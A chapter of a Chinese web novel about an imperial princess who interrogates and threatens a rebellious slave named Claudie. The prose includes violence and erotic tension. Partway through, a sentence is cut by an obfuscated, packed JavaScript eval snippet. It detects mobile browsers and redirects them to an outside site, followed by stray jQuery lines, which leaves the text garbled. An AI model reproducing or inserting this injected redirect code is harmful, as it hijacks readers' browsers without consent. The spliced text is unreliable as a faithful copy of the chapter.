8. 疯子和疯子们(7)

作品:《帝国女皇,从人格分裂开始[星际]

    “……你!”


    克劳狄愣了一下,不敢置信地抬眼看向柯茵,但片刻之后,和红色的掌印一同浮现在他那张白皙脸上的是无法压制耻辱和怒火,他挣扎更加厉害,多了好几个全甲的士兵上来压住他才将他控制住。


    但柯茵的手背却滚烫得令她兴奋不已。


    她赏玩着猎物的挣扎时刻,发现克劳狄精悍的背上赫然有着一方丑陋的伤疤——


    奴隶烙印。


    伤疤拼写着一串字符,是凯瑟尔家的姓氏全拼。


    柯茵注视着奴隶烙印和怒火中烧的克劳狄,更加确定了自己的判断。


    克劳狄绝不只是一个奴隶。


    柯茵在上一本书里见过形形色色的人,说得不好听一点,这世上的每一个人都知道自己的“售价”。


    而从克劳狄对她触碰的反应来看——克劳狄很清楚,自己的身体远比普通奴隶昂贵许多。在加上他和自己对话时的语气,以及方才他险些实施成功的脱身计划。


    这个聪明,果决,危险至极的家伙,绝不是在奴隶主的吆喝声中长大的。


    有趣……


    柯茵想着,慵懒而轻佻地抚摸过这个来路不明家伙背上的伤疤。


    这次,他被皇女的亲兵们按住动弹不得。柯茵感受那线条流畅的有力肌肉在自己的手中挣扎的紧实质地。她想,如果没有亲卫,或许只有那个末世流的自己可以和这样的怪物交交手。


    反正自己和3号肯定是没戏。


    不过好在政客的基本工作就是不将自己置于非必要的危险之中,这一点上,柯茵一直做得不错。


    她会把握好这个分寸的。


    柯茵想罢,轻轻抚摸他后背伤疤的手变得温柔,像是抚摸暴躁的战马。


    可惜战马并不领情,他激烈地挣动着,想要甩脱自己的主人。


    “别碰我!”


    “既然已经抓到我,为什么不直接处决——”


    “这话可真让我伤心……”柯茵打断克劳狄的发言,按着心口,装出一副伤心的表情,“我正打算留你一命。”


    此话一出,监牢中的空气再次凝固住,灰发的皇庭近侍安泊尔向前一步。


    “皇女殿下,这怎么能行呢……您还是得杀了他才行!!”


    反倒是送她们来的亲卫队长看克劳狄有几分骨气,睨他的目光带上了一点习武之人之前常见的惺惺相惜,替他求情道:


    “殿下,他倒是和您剧团里的那些男人不同,我看,倒也不必非杀掉。”


    看来所有人都瞬间误解了柯茵的意思。


    不过这倒也让决策更加贴合原主的人设,倒也没什么坏处。


    就在气氛逐渐变得有些古怪和悲伤的时候,倒是克劳狄压抑住了自己的怒火,他低头,思考片刻,抬起头看向柯茵。


    克劳狄从喉咙里碾出一声哂笑,沙哑而性感,然后开口说到:


    “我知道你要拿我干嘛,‘皇女殿下’。”


    “我给你讲个小故事吧……”


    这只名叫克劳狄的肮脏困兽微微扬起下巴,目光缓缓扫过她,最终居然直勾勾与她对视,只听他用成熟地老练地口吻为柯茵娓娓道来:


    “在我的老家,凯瑟尔家的贵族们打猎的时候总是带一种高大的、能轻易杀死几十上百倍于自己体型怪兽的‘寻血猎犬’。虽然那东西说是‘猎犬’,但其实有三四米高的合成兽,在前星门时代培育出来的,比皇室的狮鹫小不了多少。”


    “猎犬控制不住自己的口水,嗜血、丑陋……闻起来有一股恶臭传说它在夜里会叼走十几岁的孩子和体格特别弱小的女人。”


    “但您猜怎么着……”


    克劳狄的笑容里藏着一丝难以掩饰的骄傲,仿佛即便是跪在地上,他依然有资本炫耀着危险的爪牙:


    “自从凯瑟尔们决定让我成为狩猎随从,他们就再也没养过过一只‘寻血猎犬’。”


    克劳狄说完,烟雾从柯茵想象中的脚边升腾起来——


    阴暗的囚室在烟雾的掩盖下变成了克劳狄口中猎犬出没的湿冷森林,那种名为寻血猎犬的巨兽沉重可怕的呼吸仿佛就萦绕在浓雾之中。


    而当浓雾散去,那些满口利齿的可怕生物却对着它们中的一个人类俯首,警惕地在他的领地上巡视——


    身份低位的奴隶浑身血污、放松地靠在一头猎犬身上。天生猎手般强壮的他一手支颐、一手轻拍猎犬的肚皮。男人肮脏又不修边幅地浑身只穿一件偷来的黑色防水布围裙,双膝随意张着,蜿蜒的猩红血迹顺着那黑色围裙的裙角——


    滴答。


    滴答。


    滴落在贵族们被砍下来的、无法瞑目的头颅上——其中就有柯茵自己的。


    柯茵缓过神,发现克劳狄微微抬颔示意她凑到他的身边。


    柯茵不顾眼前士兵们的阻拦,中邪一般执意凑到克劳狄的身边。


    克劳狄俯身向前,他们两个一瞬间凑得很近,暧昧得像是一对儿耳鬓厮磨的爱侣那样。


    克劳狄对柯茵耳语,性感的声音几乎是钻到柯茵的耳朵里,让她后脊一阵发麻。


    “你以为我会想像那些软骨头的男人一样看见权贵就张开双腿?”


    克劳狄咬碎了牙一样威胁柯茵。


    “你敢这么做试试看。”


    然后他缓和了语气,态度软化,好像真的站到了克劳狄那边一样替她考虑:


    “像我这样的……让我们说‘猎犬’吧,倘若真到了您那张华美柔软的寝宫软床上,你又打算拿什么捆住我,防止我——”


    “咬你。”


    克劳狄说完,出人意料地狠狠地咬住了柯茵的耳骨!


    顿时,鲜血如注!


    痛感尖锐地在柯茵的脑子里爆开,战栗的痛感瞬间席卷全身。


    但随之而来的,还有猩红的兴奋与愉快。


    见到皇女殿下受伤,忠诚的士兵们反应激烈,她们手中的仪仗电棍发出此起彼伏的吱吱声,拳头落在克劳狄的身上,很快把克劳狄的脑袋按在地上。


    “您没事儿吧,皇女殿下。”队长说吧,啐了克劳狄一口,“去死吧你这个该死的垃圾,亏我还为你求情。”


    肮脏的地面蹭脏了克劳狄的脸,在士兵全副武装的手甲按压中,克劳狄抬起那只薄凉的灰眼,挑衅似的看向柯茵。


    柯茵则用手摸着自己耳畔的鲜血,收手在眼前看了看,闭上眼,享受着危险和刺激给自己带来的甜蜜颤栗,嘴角绽放出笑意,接着,在整个房间所有人包括克劳狄的面前狂笑起来:


    “哈哈……哈哈哈……做得好,克劳狄!”


    “你做得太好了!”


    没错,没错,就要这种感觉。


    柯茵再睁开眼时,发现自己身侧已经站了端来一盘伤用凝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739541|157477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    胶的士兵,想要给她止血,却被柯茵伸手制止。


    “没关系,小伤口。”


    柯茵摆摆手,示意想要替她止血的人下去,然后,微微抬颔,向身后的士兵吩咐道:


    “把什么处理伤口的东西先拿一边去,我有什么随身的武器吗?”


    一个士兵向柯茵行过礼,匆匆离开。


    “我这就去取您的佩剑!”


    柯茵点头,示意那些押着克劳狄的士兵松开克劳狄的脑袋。


    然后,她从身旁的一个士兵腰间抽出仪仗电棍,蹲在克劳狄身边,把棍棒状的东西在克劳狄眼前晃了晃。


    克劳狄本应激怒柯茵十分愉快,但发现她比自己疯得还彻底之后,克劳狄开始因为疑惑而恢复到那种愤怒的状态,他不满地对柯茵说到:


    “皇女看上一个奴隶……还真是自折身价。”


    “还是说,你天生就是见色起意的蠢货?”


    柯茵对着克劳狄展示自己左耳被他咬出的伤处,像是对镜子确认伤口,用手指着自己的伤口:


    “是这儿吗?”


    “你在干嘛?”克劳狄嫌恶地盯着她。


    “我说我的伤口。”


    柯茵完全不理会克劳狄的话,自顾自地问着。


    “血流的多吗?”


    “要是我再使劲儿一点,你已经成为帝国首位少一只耳朵的皇女了。”


    “是吗?留下伤疤可不好。”


    柯茵耐心地解释道,看到克劳狄脸上果然露出轻蔑的神色,他似乎在说,“是吗?你脑子里只有自己的形象吗?”


    “克劳狄,来吧,我给你一个机会。”


    “如果你现在说‘皇女殿下,我错了’,并乖巧地帮我把血舔掉……”


    “或许,我会原谅你。”


    克劳狄轻呵一声,对她扯出了一个打定主意保持缄默的微笑。


    柯茵轻啧一声,对着押着克劳狄的士兵摆了摆手:


    “那还真是可惜了……来,掰开他的嘴。”


    柯茵把电棍横塞到克劳狄的嘴里时,替她取佩剑的士兵恰好回来。柯茵看着不配合的克劳狄,十分耐心地安慰道:


    “咬紧点,一会儿就不疼了。”


    柯茵伸出手,士兵随即为她递上一柄匕首。


    “皇女殿下,您的熔血剑。”


    奇怪,为什么一把匕首会叫做剑呢?


    不过,不重要,匕首也行,能让他见血就行。


    柯茵抚摸着那把看起来朴素的金属匕首,它线条流畅、表面银亮,仿佛一小弯破雾而出的新月。


    柯茵想着的时候,克劳狄不知道怎么挣脱了被塞到嘴边卡住的仪仗电棍,也看着那把匕首哼笑出声,微抬下巴。


    “打我那一巴掌一定耗尽了你所有的力气吧。”


    他说完,用看向弱者的目光打量柯茵手中的匕首,话音冷淡地不像是面对自己的死亡威胁。


    “您要是用那把短‘剑’杀我。”


    “血会溅到裙子上的。”


    柯茵轻呵一声不做理会,摆了摆手,示意士兵们压下克劳狄的头颅,然后左手抚摸着他地形起伏的有力肩背,最终——


    她抬起那柄明晃晃匕首,舌尖轻舔自己满是笑意的唇角。


    “脏?不,你误会了,我最喜欢带血的词汇了,比如——”


    “血债血偿。”